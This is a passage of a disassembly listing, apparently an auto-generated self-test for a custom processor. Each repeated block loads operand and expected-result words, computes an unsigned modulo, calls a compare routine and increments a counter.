5b78: 0d 60 01 03 wh16 r8,0x3
5b7c: 10 40 01 08 ld32 r8,r8
5b80: 0d 42 fe 1c wl16 r16,0x17fc
5b84: 0d 60 02 03 wh16 r16,0x3
5b88: 10 40 02 10 ld32 r16,r16
5b8c: 0d 45 1d 38 wl16 r9,0x28f8
5b90: 0d 60 01 23 wh16 r9,0x3
5b94: 10 40 01 29 ld32 r9,r9
5b98: 00 a0 01 10 umod r8,r16
5b9c: 20 70 03 e2 movepc rret,8
5ba0: 14 30 e9 1c br 10 <compare>,#al
5ba4: 00 10 00 41 add r2,1
5ba8: 0d 40 e1 04 wl16 r8,0x704
5bac: 0d 60 01 03 wh16 r8,0x3
5bb0: 10 40 01 08 ld32 r8,r8
5bb4: 0d 43 02 00 wl16 r16,0x1800
5bb8: 0d 60 02 03 wh16 r16,0x3
5bbc: 10 40 02 10 ld32 r16,r16
5bc0: 0d 45 1d 3c wl16 r9,0x28fc
5bc4: 0d 60 01 23 wh16 r9,0x3
5bc8: 10 40 01 29 ld32 r9,r9
5bcc: 00 a0 01 10 umod r8,r16
5bd0: 20 70 03 e2 movepc rret,8
5bd4: 14 30 e9 0f br 10 <compare>,#al
5bd8: 00 10 00 41 add r2,1
5bdc: 0d 40 e1 08 wl16 r8,0x708
5be0: 0d 60 01 03 wh16 r8,0x3
5be4: 10 40 01 08 ld32 r8,r8
5be8: 0d 43 02 04 wl16 r16,0x1804
5bec: 0d 60 02 03 wh16 r16,0x3
5bf0: 10 40 02 10 ld32 r16,r16
5bf4: 0d 45 21 20 wl16 r9,0x2900
5bf8: 0d 60 01 23 wh16 r9,0x3
5bfc: 10 40 01 29 ld32 r9,r9
5c00: 00 a0 01 10 umod r8,r16
5c04: 20 70 03 e2 movepc rret,8
5c08: 14 30 e9 02 br 10 <compare>,#al
5c0c: 00 10 00 41 add r2,1
5c10: 0d 40 e1 0c wl16 r8,0x70c
5c14: 0d 60 01 03 wh16 r8,0x3
5c18: 10 40 01 08 ld32 r8,r8
5c1c: 0d 43 02 08 wl16 r16,0x1808
5c20: 0d 60 02 03 wh16 r16,0x3
5c24: 10 40 02 10 ld32 r16,r16
5c28: 0d 45 21 24 wl16 r9,0x2904
5c2c: 0d 60 01 23 wh16 r9,0x3
5c30: 10 40 01 29 ld32 r9,r9
5c34: 00 a0 01 10 umod r8,r16
5c38: 20 70 03 e2 movepc rret,8
5c3c: 14 30 e8 f5 br 10 <compare>,#al
5c40: 00 10 00 41 add r2,1
5c44: 0d 40 e1 10 wl16 r8,0x710
5c48: 0d 60 01 03 wh16 r8,0x3
5c4c: 10 40 01 08 ld32 r8,r8
5c50: 0d 43 02 0c wl16 r16,0x180c
5c54: 0d 60 02 03 wh16 r16,0x3
5c58: 10 40 02 10 ld32 r16,r16
5c5c: 0d 45 21 28 wl16 r9,0x2908
5c60: 0d 60 01 23 wh16 r9,0x3
5c64: 10 40 01 29 ld32 r9,r9
5c68: 00 a0 01 10 umod r8,r16
5c6c: 20 70 03 e2 movepc rret,8
5c70: 14 30 e8 e8 br 10 <compare>,#al
5c74: 00 10 00 41 add r2,1
5c78: 0d 40 e1 14 wl16 r8,0x714
5c7c: 0d 60 01 03 wh16 r8,0x3
5c80: 10 40 01 08 ld32 r8,r8
5c84: 0d 43 02 10 wl16 r16,0x1810
5c88: 0d 60 02 03 wh16 r16,0x3
5c8c: 10 40 02 10 ld32 r16,r16
5c90: 0d 45 21 2c wl16 r9,0x290c
5c94: 0d 60 01 23 wh16 r9,0x3
5c98: 10 40 01 29 ld32 r9,r9
5c9c: 00 a0 01 10 umod r8,r16
5ca0: 20 70 03 e2 movepc rret,8
5ca4: 14 30 e8 db br 10 <compare>,#al
5ca8: 00 10 00 41 add r2,1
5cac: 0d 40 e1 18 wl16 r8,0x718
5cb0: 0d 60 01 03 wh16 r8,0x3
5cb4: 10 40 01 08 ld32 r8,r8
5cb8: 0d 43 02 14 wl16 r16,0x1814
5cbc: 0d 60 02 03 wh16 r16,0x3
5cc0: 10 40 02 10 ld32 r16,r16
5cc4: 0d 45 21 30 wl16 r9,0x2910
5cc8: 0d 60 01 23 wh16 r9,0x3
5ccc: 10 40 01 29 ld32 r9,r9
5cd0: 00 a0 01 10 umod r8,r16
5cd4: 20 70 03 e2 movepc rret,8
5cd8: 14 30 e8 ce br 10 <compare>,#al
5cdc: 00 10 00 41 add r2,1
5ce0: 0d 40 e1 1c wl16 r8,0x71c
5ce4: 0d 60 01 03 wh16 r8,0x3
5ce8: 10 40 01 08 ld32 r8,r8
5cec: 0d 43 02 18 wl16 r16,0x1818
5cf0: 0d 60 02 03 wh16 r16,0x3
5cf4: 10 40 02 10 ld32 r16,r16
5cf8: 0d 45 21 34 wl16 r9,0x2914
5cfc: 0d 60 01 23 wh16 r9,0x3
5d00: 10 40 01 29 ld32 r9,r9
5d04: 00 a0 01 10 umod r8,r16
5d08: 20 70 03 e2 movepc rret,8
5d0c: 14 30 e8 c1 br 10 <compare>,#al
5d10: 00 10 00 41 add r2,1
5d14: 0d 40 e5 00 wl16 r8,0x720
5d18: 0d 60 01 03 wh16 r8,0x3
5d1c: 10 40 01 08 ld32 r8,r8
5d20: 0d 43 02 1c wl16 r16,0x181c
5d24: 0d 60 02 03 wh16 r16,0x3
5d28: 10 40 02 10 ld32 r16,r16
5d2c: 0d 45 21 38 wl16 r9,0x2918
5d30: 0d 60 01 23 wh16 r9,0x3
5d34: 10 40 01 29 ld32 r9,r9
5d38: 00 a0 01 10 umod r8,r16
5d3c: 20 70 03 e2 movepc rret,8
5d40: 14 30 e8 b4 br 10 <compare>,#al
5d44: 00 10 00 41 add r2,1
5d48: 0d 40 e5 04 wl16 r8,0x724
5d4c: 0d 60 01 03 wh16 r8,0x3
5d50: 10 40 01 08 ld32 r8,r8
5d54: 0d 43 06 00 wl16 r16,0x1820
5d58: 0d 60 02 03 wh16 r16,0x3
5d5c: 10 40 02 10 ld32 r16,r16
5d60: 0d 45 21 3c wl16 r9,0x291c
5d64: 0d 60 01 23 wh16 r9,0x3
5d68: 10 40 01 29 ld32 r9,r9
5d6c: 00 a0 01 10 umod r8,r16
5d70: 20 70 03 e2 movepc rret,8
5d74: 14 30 e8 a7 br 10 <compare>,#al
5d78: 00 10 00 41 add r2,1
5d7c: 0d 40 e5 08 wl16 r8,0x728
5d80: 0d 60 01 03 wh16 r8,0x3
5d84: 10 40 01 08 ld32 r8,r8
5d88: 0d 43 06 04 wl16 r16,0x1824
5d8c: 0d 60 02 03 wh16 r16,0x3
5d90: 10 40 02 10 ld32 r16,r16
5d94: 0d 45 25 20 wl16 r9,0x2920
5d98: 0d 60 01 23 wh16 r9,0x3
5d9c: 10 40 01 29 ld32 r9,r9
5da0: 00 a0 01 10 umod r8,r16
5da4: 20 70 03 e2 movepc rret,8
5da8: 14 30 e8 9a br 10 <compare>,#al
5dac: 00 10 00 41 add r2,1
5db0: 0d 40 e5 0c wl16 r8,0x72c
5db4: 0d 60 01 03 wh16 r8,0x3
5db8: 10 40 01 08 ld32 r8,r8
5dbc: 0d 43 06 08 wl16 r16,0x1828
5dc0: 0d 60 02 03 wh16 r16,0x3
5dc4: 10 40 02 10 ld32 r16,r16
5dc8: 0d 45 25 24 wl16 r9,0x2924
5dcc: 0d 60 01 23 wh16 r9,0x3
5dd0: 10 40 01 29 ld32 r9,r9
5dd4: 00 a0 01 10 umod r8,r16
5dd8: 20 70 03 e2 movepc rret,8
5ddc: 14 30 e8 8d br 10 <compare>,#al
5de0: 00 10 00 41 add r2,1
5de4: 0d 40 e5 10 wl16 r8,0x730
5de8: 0d 60 01 03 wh16 r8,0x3
5dec: 10 40 01 08 ld32 r8,r8
5df0: 0d 43 06 0c wl16 r16,0x182c
5df4: 0d 60 02 03 wh16 r16,0x3
5df8: 10 40 02 10 ld32 r16,r16
5dfc: 0d 45 25 28 wl16 r9,0x2928
5e00: 0d 60 01 23 wh16 r9,0x3
5e04: 10 40 01 29 ld32 r9,r9
5e08: 00 a0 01 10 umod r8,r16
5e0c: 20 70 03 e2 movepc rret,8
5e10: 14 30 e8 80 br 10 <compare>,#al
5e14: 00 10 00 41 add r2,1
5e18: 0d 40 e5 14 wl16 r8,0x734
5e1c: 0d 60 01 03 wh16 r8,0x3
5e20: 10 40 01 08 ld32 r8,r8
5e24: 0d 43 06 10 wl16 r16,0x1830
5e28: 0d 60 02 03 wh16 r16,0x3
5e2c: 10 40 02 10 ld32 r16,r16
5e30: 0d 45 25 2c wl16 r9,0x292c
5e34: 0d 60 01 23 wh16 r9,0x3
5e38: 10 40 01 29 ld32 r9,r9
5e3c: 00 a0 01 10 umod r8,r16
5e40: 20 70 03 e2 movepc rret,8
5e44: 14 30 e8 73 br 10 <compare>,#al
5e48: 00 10 00 41 add r2,1
5e4c: 0d 40 e5 18 wl16 r8,0x738
5e50: 0d 60 01 03 wh16 r8,0x3
5e54: 10 40 01 08 ld32 r8,r8
5e58: 0d 43 06 14 wl16 r16,0x1834
5e5c: 0d 60 02 03 wh16 r16,0x3
5e60: 10 40 02 10 ld32 r16,r16
5e64: 0d 45 25 30 wl16 r9,0x2930
5e68: 0d 60 01 23 wh16 r9,0x3
5e6c: 10 40 01 29 ld32 r9,r9
5e70: 00 a0 01 10 umod r8,r16
5e74: 20 70 03 e2 movepc rret,8
5e78: 14 30 e8 66 br 10 <compare>,#al
5e7c: 00 10 00 41 add r2,1
5e80: 0d 40 e5 1c wl16 r8,0x73c
5e84: 0d 60 01 03 wh16 r8,0x3
5e88: 10 40 01 08 ld32 r8,r8
5e8c: 0d 43 06 18 wl16 r16,0x1838
5e90: 0d 60 02 03 wh16 r16,0x3
5e94: 10 40 02 10 ld32 r16,r16
5e98: 0d 45 25 34 wl16 r9,0x2934
5e9c: 0d 60 01 23 wh16 r9,0x3
5ea0: 10 40 01 29 ld32 r9,r9
5ea4: 00 a0 01 10 umod r8,r16
5ea8: 20 70 03 e2 movepc rret,8
5eac: 14 30 e8 59 br 10 <compare>,#al
5eb0: 00 10 00 41 add r2,1
5eb4: 0d 40 e9 00 wl16 r8,0x740
5eb8: 0d 60 01 03 wh16 r8,0x3
5ebc: 10 40 01 08 ld32 r8,r8
5ec0: 0d 43 06 1c wl16 r16,0x183c
5ec4: 0d 60 02 03 wh16 r16,0x3
5ec8: 10 40 02 10 ld32 r16,r16
5ecc: 0d 45 25 38 wl16 r9,0x2938
5ed0: 0d 60 01 23 wh16 r9,0x3
5ed4: 10 40 01 29 ld32 r9,r9
5ed8: 00 a0 01 10 umod r8,r16
5edc: 20 70 03 e2 movepc rret,8
5ee0: 14 30 e8 4c br 10 <compare>,#al
5ee4: 00 10 00 41 add r2,1
5ee8: 0d 40 e9 04 wl16 r8,0x744
5eec: 0d 60 01 03 wh16 r8,0x3
5ef0: 10 40 01 08 ld32 r8,r8
5ef4: 0d 43 0a 00 wl16 r16,0x1840
5ef8: 0d 60 02 03 wh16 r16,0x3
5efc: 10 40 02 10 ld32 r16,r16
5f00: 0d 45 25 3c wl16 r9,0x293c
5f04: 0d 60 01 23 wh16 r9,0x3
5f08: 10 40 01 29 ld32 r9,r9
5f0c: 00 a0 01 10 umod r8,r16
5f10: 20 70 03 e2 movepc rret,8
5f14: 14 30 e8 3f br 10 <compare>,#al
5f18: 00 10 00 41 add r2,1
5f1c: 0d 40 e9 08 wl16 r8,0x748
5f20: 0d 60 01 03 wh16 r8,0x3
5f24: 10 40 01 08 ld32 r8,r8
5f28: 0d 43 0a 04 wl16 r16,0x1844
5f2c: 0d 60 02 03 wh16 r16,0x3
5f30: 10 40 02 10 ld32 r16,r16
5f34: 0d 45 29 20 wl16 r9,0x2940
5f38: 0d 60 01 23 wh16 r9,0x3
5f3c: 10 40 01 29 ld32 r9,r9
5f40: 00 a0 01 10 umod r8,r16
5f44: 20 70 03 e2 movepc rret,8
5f48: 14 30 e8 32 br 10 <compare>,#al
5f4c: 00 10 00 41 add r2,1
5f50: 0d 40 e9 0c wl16 r8,0x74c
5f54: 0d 60 01 03 wh16 r8,0x3
5f58: 10 40 01 08 ld32 r8,r8
5f5c: 0d 43 0a 08 wl16 r16,0x1848
5f60: 0d 60 02 03 wh16 r16,0x3
5f64: 10 40 02 10 ld32 r16,r16
5f68: 0d 45 29 24 wl16 r9,0x2944
5f6c: 0d 60 01 23 wh16 r9,0x3
5f70: 10 40 01 29 ld32 r9,r9
5f74: 00 a0 01 10 umod r8,r16
5f78: 20 70 03 e2 movepc rret,8
5f7c: 14 30 e8 25 br 10 <compare>,#al
5f80: 00 10 00 41 add r2,1
5f84: 0d 40 e9 10 wl16 r8,0x750
5f88: 0d 60 01 03 wh16 r8,0x3
5f8c: 10 40 01 08 ld32 r8,r8
5f90: 0d 43 0a 0c wl16 r16,0x184c
5f94: 0d 60 02 03 wh16 r16,0x3
5f98: 10 40 02 10 ld32 r16,r16
5f9c: 0d 45 29 28 wl16 r9,0x2948
5fa0: 0d 60 01 23 wh16 r9,0x3
5fa4: 10 40 01 29 ld32 r9,r9
5fa8: 00 a0 01 10 umod r8,r16
5fac: 20 70 03 e2 movepc rret,8
5fb0: 14 30 e8 18 br 10 <compare>,#al
5fb4: 00 10 00 41 add r2,1
5fb8: 0d 40 e9 14 wl16 r8,0x754
5fbc: 0d 60 01 03 wh16 r8,0x3
5fc0: 10 40 01 08 ld32 r8,r8
5fc4: 0d 43 0a 10 wl16 r16,0x1850
5fc8: 0d 60 02 03 wh16 r16,0x3
5fcc: 10 40 02 10 ld32 r16,r16
5fd0: 0d 45 29 2c wl16 r9,0x294c
5fd4: 0d 60 01 23 wh16 r9,0x3
5fd8: 10 40 01 29 ld32 r9,r9
5fdc: 00 a0 01 10 umod r8,r16
5fe0: 20 70 03 e2 movepc rret,8
5fe4: 14 30 e8 0b br 10 <compare>,#al
5fe8: 00 10 00 41 add r2,1
5fec: 0d 40 e9 18 wl16 r8,0x758
5ff0: 0d 60 01 03 wh16 r8,0x3
5ff4: 10 40 01 08 ld32 r8,r8
5ff8: 0d 43 0a 14 wl16 r16,0x1854
5ffc: 0d 60 02 03 wh16 r16,0x3
6000: 10 40 02 10 ld32 r16,r16
6004: 0d 45 29 30 wl16 r9,0x2950
6008: 0d 60 01 23 wh16 r9,0x3
600c: 10 40 01 29 ld32 r9,r9
6010: 00 a0 01 10 umod r8,r16
6014: 20 70 03 e2 movepc rret,8
6018: 14 30 e7 fe br 10 <compare>,#al
601c: 00 10 00 41 add r2,1
6020: 0d 40 e9 1c wl16 r8,0x75c
6024: 0d 60 01 03 wh16 r8,0x3
6028: 10 40 01 08 ld32 r8,r8
602c: 0d 43 0a 18 wl16 r16,0x1858
6030: 0d 60 02 03 wh16 r16,0x3
6034: 10 40 02 10 ld32 r16,r16
6038: 0d 45 29 34 wl16 r9,0x2954
603c: 0d 60 01 23 wh16 r9,0x3
6040: 10 40 01 29 ld32 r9,r9
6044: 00 a0 01 10 umod r8,r16
6048: 20 70 03 e2 movepc rret,8
604c: 14 30 e7 f1 br 10 <compare>,#al
6050: 00 10 00 41 add r2,1
6054: 0d 40 ed 00 wl16 r8,0x760
6058: 0d 60 01 03 wh16 r8,0x3
605c: 10 40 01 08 ld32 r8,r8
6060: 0d 43 0a 1c wl16 r16,0x185c
6064: 0d 60 02 03 wh16 r16,0x3
6068: 10 40 02 10 ld32 r16,r16
606c: 0d 45 29 38 wl16 r9,0x2958
6070: 0d 60 01 23 wh16 r9,0x3
6074: 10 40 01 29 ld32 r9,r9
6078: 00 a0 01 10 umod r8,r16
607c: 20 70 03 e2 movepc rret,8
6080: 14 30 e7 e4 br 10 <compare>,#al
6084: 00 10 00 41 add r2,1
6088: 0d 40 ed 04 wl16 r8,0x764
608c: 0d 60 01 03 wh16 r8,0x3
6090: 10 40 01 08 ld32 r8,r8
6094: 0d 43 0e 00 wl16 r16,0x1860
6098: 0d 60 02 03 wh16 r16,0x3
609c: 10 40 02 10 ld32 r16,r16
60a0: 0d 45 29 3c wl16 r9,0x295c
60a4: 0d 60 01 23 wh16 r9,0x3
60a8: 10 40 01 29 ld32 r9,r9
60ac: 00 a0 01 10 umod r8,r16
60b0: 20 70 03 e2 movepc rret,8
60b4: 14 30 e7 d7 br 10 <compare>,#al
60b8: 00 10 00 41 add r2,1
60bc: 0d 40 ed 08 wl16 r8,0x768
60c0: 0d 60 01 03 wh16 r8,0x3
60c4: 10 40 01 08 ld32 r8,r8
60c8: 0d 43 0e 04 wl16 r16,0x1864
60cc: 0d 60 02 03 wh16 r16,0x3
60d0: 10 40 02 10 ld32 r16,r16
60d4: 0d 45 2d 20 wl16 r9,0x2960
60d8: 0d 60 01 23 wh16 r9,0x3
60dc: 10 40 01 29 ld32 r9,r9
60e0: 00 a0 01 10 umod r8,r16
60e4: 20 70 03 e2 movepc rret,8
60e8: 14 30 e7 ca br 10 <compare>,#al
60ec: 00 10 00 41 add r2,1
60f0: 0d 40 ed 0c wl16 r8,0x76c
60f4: 0d 60 01 03 wh16 r8,0x3
60f8: 10 40 01 08 ld32 r8,r8
60fc: 0d 43 0e 08 wl16 r16,0x1868
6100: 0d 60 02 03 wh16 r16,0x3
6104: 10 40 02 10 ld32 r16,r16
6108: 0d 45 2d 24 wl16 r9,0x2964
610c: 0d 60 01 23 wh16 r9,0x3
6110: 10 40 01 29 ld32 r9,r9
6114: 00 a0 01 10 umod r8,r16
6118: 20 70 03 e2 movepc rret,8
611c: 14 30 e7 bd br 10 <compare>,#al
6120: 00 10 00 41 add r2,1
6124: 0d 40 ed 10 wl16 r8,0x770
6128: 0d 60 01 03 wh16 r8,0x3
612c: 10 40 01 08 ld32 r8,r8
6130: 0d 43 0e 0c wl16 r16,0x186c
6134: 0d 60 02 03 wh16 r16,0x3
6138: 10 40 02 10 ld32 r16,r16
613c: 0d 45 2d 28 wl16 r9,0x2968
6140: 0d 60 01 23 wh16 r9,0x3
6144: 10 40 01 29 ld32 r9,r9
6148: 00 a0 01 10 umod r8,r16
614c: 20 70 03 e2 movepc rret,8
6150: 14 30 e7 b0 br 10 <compare>,#al
6154: 00 10 00 41 add r2,1
6158: 0d 40 ed 14 wl16 r8,0x774
615c: 0d 60 01 03 wh16 r8,0x3
6160: 10 40 01 08 ld32 r8,r8
6164: 0d 43 0e 10 wl16 r16,0x1870
6168: 0d 60 02 03 wh16 r16,0x3
616c: 10 40 02 10 ld32 r16,r16
6170: 0d 45 2d 2c wl16 r9,0x296c
6174: 0d 60 01 23 wh16 r9,0x3
6178: 10 40 01 29 ld32 r9,r9
617c: 00 a0 01 10 umod r8,r16
6180: 20 70 03 e2 movepc rret,8
6184: 14 30 e7 a3 br 10 <compare>,#al
6188: 00 10 00 41 add r2,1
618c: 0d 40 ed 18 wl16 r8,0x778
6190: 0d 60 01 03 wh16 r8,0x3
6194: 10 40 01 08 ld32 r8,r8
6198: 0d 43 0e 14 wl16 r16,0x1874
619c: 0d 60 02 03 wh16 r16,0x3
61a0: 10 40 02 10 ld32 r16,r16
61a4: 0d 45 2d 30 wl16 r9,0x2970
61a8: 0d 60 01 23 wh16 r9,0x3
61ac: 10 40 01 29 ld32 r9,r9
61b0: 00 a0 01 10 umod r8,r16
61b4: 20 70 03 e2 movepc rret,8
61b8: 14 30 e7 96 br 10 <compare>,#al
61bc: 00 10 00 41 add r2,1
61c0: 0d 40 ed 1c wl16 r8,0x77c
61c4: 0d 60 01 03 wh16 r8,0x3
61c8: 10 40 01 08 ld32 r8,r8
61cc: 0d 43 0e 18 wl16 r16,0x1878
61d0: 0d 60 02 03 wh16 r16,0x3
61d4: 10 40 02 10 ld32 r16,r16
61d8: 0d 45 2d 34 wl16 r9,0x2974
61dc: 0d 60 01 23 wh16 r9,0x3
61e0: 10 40 01 29 ld32 r9,r9
61e4: 00 a0 01 10 umod r8,r16
61e8: 20 70 03 e2 movepc rret,8
61ec: 14 30 e7 89 br 10 <compare>,#al
61f0: 00 10 00 41 add r2,1
61f4: 0d 40 f1 00 wl16 r8,0x780
61f8: 0d 60 01 03 wh16 r8,0x3
61fc: 10 40 01 08 ld32 r8,r8
6200: 0d 43 0e 1c wl16 r16,0x187c
6204: 0d 60 02 03 wh16 r16,0x3
6208: 10 40 02 10 ld32 r16,r16
620c: 0d 45 2d 38 wl16 r9,0x2978
6210: 0d 60 01 23 wh16 r9,0x3
6214: 10 40 01 29 ld32 r9,r9
6218: 00 a0 01 10 umod r8,r16
621c: 20 70 03 e2 movepc rret,8
6220: 14 30 e7 7c br 10 <compare>,#al
6224: 00 10 00 41 add r2,1
6228: 0d 40 f1 04 wl16 r8,0x784
622c: 0d 60 01 03 wh16 r8,0x3
6230: 10 40 01 08 ld32 r8,r8
6234: 0d 43 12 00 wl16 r16,0x1880
6238: 0d 60 02 03 wh16 r16,0x3
623c: 10 40 02 10 ld32 r16,r16
6240: 0d 45 2d 3c wl16 r9,0x297c
6244: 0d 60 01 23 wh16 r9,0x3
6248: 10 40 01 29 ld32 r9,r9
624c: 00 a0 01 10 umod r8,r16
6250: 20 70 03 e2 movepc rret,8
6254: 14 30 e7 6f br 10 <compare>,#al
6258: 00 10 00 41 add r2,1
625c: 0d 40 f1 08 wl16 r8,0x788
6260: 0d 60 01 03 wh16 r8,0x3
6264: 10 40 01 08 ld32 r8,r8
6268: 0d 43 12 04 wl16 r16,0x1884
626c: 0d 60 02 03 wh16 r16,0x3
6270: 10 40 02 10 ld32 r16,r16
6274: 0d 45 31 20 wl16 r9,0x2980
6278: 0d 60 01 23 wh16 r9,0x3
627c: 10 40 01 29 ld32 r9,r9
6280: 00 a0 01 10 umod r8,r16
6284: 20 70 03 e2 movepc rret,8
6288: 14 30 e7 62 br 10 <compare>,#al
628c: 00 10 00 41 add r2,1
6290: 0d 40 f1 0c wl16 r8,0x78c
6294: 0d 60 01 03 wh16 r8,0x3
6298: 10 40 01 08 ld32 r8,r8
629c: 0d 43 12 08 wl16 r16,0x1888
62a0: 0d 60 02 03 wh16 r16,0x3
62a4: 10 40 02 10 ld32 r16,r16
62a8: 0d 45 31 24 wl16 r9,0x2984
62ac: 0d 60 01 23 wh16 r9,0x3
62b0: 10 40 01 29 ld32 r9,r9
62b4: 00 a0 01 10 umod r8,r16
62b8: 20 70 03 e2 movepc rret,8
62bc: 14 30 e7 55 br 10 <compare>,#al
62c0: 00 10 00 41 add r2,1
62c4: 0d 40 f1 10 wl16 r8,0x790
62c8: 0d 60 01 03 wh16 r8,0x3
62cc: 10 40 01 08 ld32 r8,r8
62d0: 0d 43 12 0c wl16 r16,0x188c
62d4: 0d 60 02 03 wh16 r16,0x3
62d8: 10 40 02 10 ld32 r16,r16
62dc: 0d 45 31 28 wl16 r9,0x2988
62e0: 0d 60 01 23 wh16 r9,0x3
62e4: 10 40 01 29 ld32 r9,r9
62e8: 00 a0 01 10 umod r8,r16
62ec: 20 70 03 e2 movepc rret,8
62f0: 14 30 e7 48 br 10 <compare>,#al
62f4: 00 10 00 41 add r2,1
62f8: 0d 40 f1 14 wl16 r8,0x794
62fc: 0d 60 01 03 wh16 r8,0x3
6300: 10 40 01 08 ld32 r8,r8
6304: 0d 43 12 10 wl16 r16,0x1890
6308: 0d 60 02 03 wh16 r16,0x3
630c: 10 40 02 10 ld32 r16,r16
6310: 0d 45 31 2c wl16 r9,0x298c
6314: 0d 60 01 23 wh16 r9,0x3
6318: 10 40 01 29 ld32 r9,r9
631c: 00 a0 01 10 umod r8,r16
6320: 20 70 03 e2 movepc rret,8
6324: 14 30 e7 3b br 10 <compare>,#al
6328: 00 10 00 41 add r2,1
632c: 0d 40 f1 18 wl16 r8,0x798
6330: 0d 60 01 03 wh16 r8,0x3
6334: 10 40 01 08 ld32 r8,r8
6338: 0d 43 12 14 wl16 r16,0x1894
633c: 0d 60 02 03 wh16 r16,0x3
6340: 10 40 02 10 ld32 r16,r16
6344: 0d 45 31 30 wl16 r9,0x2990
6348: 0d 60 01 23 wh16 r9,0x3
634c: 10 40 01 29 ld32 r9,r9
6350: 00 a0 01 10 umod r8,r16
6354: 20 70 03 e2 movepc rret,8
6358: 14 30 e7 2e br 10 <compare>,#al
635c: 00 10 00 41 add r2,1
6360: 0d 40 f1 1c wl16 r8,0x79c
6364: 0d 60 01 03 wh16 r8,0x3
6368: 10 40 01 08 ld32 r8,r8
636c: 0d 43 12 18 wl16 r16,0x1898
6370: 0d 60 02 03 wh16 r16,0x3
6374: 10 40 02 10 ld32 r16,r16
6378: 0d 45 31 34 wl16 r9,0x2994
637c: 0d 60 01 23 wh16 r9,0x3
6380: 10 40 01 29 ld32 r9,r9
6384: 00 a0 01 10 umod r8,r16
6388: 20 70 03 e2 movepc rret,8
638c: 14 30 e7 21 br 10 <compare>,#al
6390: 00 10 00 41 add r2,1
6394: 0d 40 f5 00 wl16 r8,0x7a0
6398: 0d 60 01 03 wh16 r8,0x3
639c: 10 40 01 08 ld32 r8,r8
63a0: 0d 43 12 1c wl16 r16,0x189c
63a4: 0d 60 02 03 wh16 r16,0x3
63a8: 10 40 02 10 ld32 r16,r16
63ac: 0d 45 31 38 wl16 r9,0x2998
63b0: 0d 60 01 23 wh16 r9,0x3
63b4: 10 40 01 29 ld32 r9,r9
63b8: 00 a0 01 10 umod r8,r16
63bc: 20 70 03 e2 movepc rret,8
63c0: 14 30 e7 14 br 10 <compare>,#al
63c4: 00 10 00 41 add r2,1
63c8: 0d 40 f5 04 wl16 r8,0x7a4
63cc: 0d 60 01 03 wh16 r8,0x3
63d0: 10 40 01 08 ld32 r8,r8
63d4: 0d 43 16 00 wl16 r16,0x18a0
63d8: 0d 60 02 03 wh16 r16,0x3
63dc: 10 40 02 10 ld32 r16,r16
63e0: 0d 45 31 3c wl16 r9,0x299c
63e4: 0d 60 01 23 wh16 r9,0x3
63e8: 10 40 01 29 ld32 r9,r9
63ec: 00 a0 01 10 umod r8,r16
63f0: 20 70 03 e2 movepc rret,8
63f4: 14 30 e7 07 br 10 <compare>,#al
63f8: 00 10 00 41 add r2,1
63fc: 0d 40 f5 08 wl16 r8,0x7a8
6400: 0d 60 01 03 wh16 r8,0x3
6404: 10 40 01 08 ld32 r8,r8
6408: 0d 43 16 04 wl16 r16,0x18a4
640c: 0d 60 02 03 wh16 r16,0x3
6410: 10 40 02 10 ld32 r16,r16
6414: 0d 45 35 20 wl16 r9,0x29a0
6418: 0d 60 01 23 wh16 r9,0x3
641c: 10 40 01 29 ld32 r9,r9
6420: 00 a0 01 10 umod r8,r16
6424: 20 70 03 e2 movepc rret,8
6428: 14 30 e6 fa br 10 <compare>,#al
642c: 00 10 00 41 add r2,1
6430: 0d 40 f5 0c wl16 r8,0x7ac
6434: 0d 60 01 03 wh16 r8,0x3
6438: 10 40 01 08 ld32 r8,r8
643c: 0d 43 16 08 wl16 r16,0x18a8
6440: 0d 60 02 03 wh16 r16,0x3
6444: 10 40 02 10 ld32 r16,r16
6448: 0d 45 35 24 wl16 r9,0x29a4
644c: 0d 60 01 23 wh16 r9,0x3
6450: 10 40 01 29 ld32 r9,r9
6454: 00 a0 01 10 umod r8,r16
6458: 20 70 03 e2 movepc rret,8
645c: 14 30 e6 ed br 10 <compare>,#al
6460: 00 10 00 41 add r2,1
6464: 0d 40 f5 10 wl16 r8,0x7b0
6468: 0d 60 01 03 wh16 r8,0x3
646c: 10 40 01 08 ld32 r8,r8
6470: 0d 43 16 0c wl16 r16,0x18ac
6474: 0d 60 02 03 wh16 r16,0x3
6478: 10 40 02 10 ld32 r16,r16
647c: 0d 45 35 28 wl16 r9,0x29a8
6480: 0d 60 01 23 wh16 r9,0x3
6484: 10 40 01 29 ld32 r9,r9
6488: 00 a0 01 10 umod r8,r16
648c: 20 70 03 e2 movepc rret,8
6490: 14 30 e6 e0 br 10 <compare>,#al
6494: 00 10 00 41 add r2,1
6498: 0d 40 f5 14 wl16 r8,0x7b4
649c: 0d 60 01 03 wh16 r8,0x3
64a0: 10 40 01 08 ld32 r8,r8
64a4: 0d 43 16 10 wl16 r16,0x18b0
64a8: 0d 60 02 03 wh16 r16,0x3
64ac: 10 40 02 10 ld32 r16,r16
64b0: 0d 45 35 2c wl16 r9,0x29ac
64b4: 0d 60 01 23 wh16 r9,0x3
64b8: 10 40 01 29 ld32 r9,r9
64bc: 00 a0 01 10 umod r8,r16
64c0: 20 70 03 e2 movepc rret,8
64c4: 14 30 e6 d3 br 10 <compare>,#al
64c8: 00 10 00 41 add r2,1
64cc: 0d 40 f5 18 wl16 r8,0x7b8
64d0: 0d 60 01 03 wh16 r8,0x3
64d4: 10 40 01 08 ld32 r8,r8
64d8: 0d 43 16 14 wl16 r16,0x18b4
64dc: 0d 60 02 03 wh16 r16,0x3
64e0: 10 40 02 10 ld32 r16,r16
64e4: 0d 45 35 30 wl16 r9,0x29b0
64e8: 0d 60 01 23 wh16 r9,0x3
64ec: 10 40 01 29 ld32 r9,r9
64f0: 00 a0 01 10 umod r8,r16
64f4: 20 70 03 e2 movepc rret,8
64f8: 14 30 e6 c6 br 10 <compare>,#al
64fc: 00 10 00 41 add r2,1
6500: 0d 40 f5 1c wl16 r8,0x7bc
6504: 0d 60 01 03 wh16 r8,0x3
6508: 10 40 01 08 ld32 r8,r8
650c: 0d 43 16 18 wl16 r16,0x18b8
6510: 0d 60 02 03 wh16 r16,0x3
6514: 10 40 02 10 ld32 r16,r16
6518: 0d 45 35 34 wl16 r9,0x29b4
651c: 0d 60 01 23 wh16 r9,0x3
6520: 10 40 01 29 ld32 r9,r9
6524: 00 a0 01 10 umod r8,r16
6528: 20 70 03 e2 movepc rret,8
652c: 14 30 e6 b9 br 10 <compare>,#al
6530: 00 10 00 41 add r2,1
6534: 0d 40 f9 00 wl16 r8,0x7c0
6538: 0d 60 01 03 wh16 r8,0x3
653c: 10 40 01 08 ld32 r8,r8
